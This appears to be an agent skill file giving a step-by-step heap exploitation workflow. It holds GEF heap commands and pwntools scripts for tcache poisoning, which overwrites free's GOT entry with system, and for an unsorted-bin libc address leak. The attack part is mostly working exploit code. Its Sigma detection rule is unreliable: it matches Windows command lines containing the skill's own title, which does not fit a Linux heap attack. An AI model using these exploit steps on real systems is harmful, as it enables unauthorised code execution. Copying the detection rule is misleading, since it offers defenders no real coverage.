<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: performing-heap-exploitation
description: >-
  Exploit heap memory management vulnerabilities including tcache poisoning, fastbin attacks, unsorted bin leaks, and house-of techniques for arbitrary write primitives.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - heap
  - tcache
  - fastbin
  - unsorted-bin
  - malloc
  - house-of
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1203", "T1068"]
  cwe: ["CWE-122", "CWE-416"]
  tools: ["pwntools", "GEF", "gdb", "heap-analysis"]
---

# Performing Heap Exploitation

## Overview

Exploit heap memory management vulnerabilities including tcache poisoning, fastbin attacks, unsorted bin leaks, and house-of techniques for arbitrary write primitives.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools` | Security tooling |
| `GDB with GEF (heap commands)` | Security tooling |
| `libc source for version-specific behavior` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Analyze Heap Layout

```bash
# GEF heap inspection commands
gef> heap chunks
gef> heap bins
gef> heap tcachebins
gef> heap fastbins
gef> heap unsorted

# Examine specific chunk metadata
gef> x/4gx <chunk_addr>-0x10
```

### Step 2: Tcache Poisoning

```python
from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)

# Allocate and free chunks to populate tcache
alloc(p, 0x20, b"AAAA")   # chunk 0
alloc(p, 0x20, b"BBBB")   # chunk 1
free(p, 0)                  # tcache[0x30]: chunk0
free(p, 1)                  # tcache[0x30]: chunk1 -> chunk0

# Overwrite fd pointer in freed chunk
edit(p, 1, p64(elf.got["free"]))

# Allocate twice to get chunk at GOT
alloc(p, 0x20, b"CCCC")            # returns chunk1
alloc(p, 0x20, p64(elf.plt["system"]))  # returns GOT entry
```

### Step 3: Unsorted Bin Leak

```python
from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)

# Allocate large chunk (avoids tcache/fastbin)
alloc(p, 0x420, b"A" * 8)  # chunk 0
alloc(p, 0x20, b"B" * 8)   # chunk 1 (barrier)
free(p, 0)                   # goes to unsorted bin

# Leak main_arena pointer (fd/bk point to main_arena+offset)
view(p, 0)
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = leak - 0x3ebca0  # offset varies by libc version
log.success(f"libc base: {hex(libc_base)}")
```

## Detection

```yaml
title: Heap Exploitation Detection
id: 016fbc92-72e9-4905-a2a1-2177176d8904
status: experimental
description: Detects suspicious activity related to performing heap exploitation techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*heap*"
  condition: selection
level: critical
tags:
  - attack.t1203
  - attack.t1068
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Heap Exploitation Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1203, T1068 |

## Verification

- [ ] Heap layout analyzed with GEF
- [ ] Tcache/fastbin fd pointer overwritten
- [ ] Unsorted bin leak provides libc address
- [ ] Arbitrary write achieved via heap manipulation

## References

- [GEF Heap Commands](https://hugsy.github.io/gef/commands/heap/)
- [how2heap](https://github.com/shellphish/how2heap)
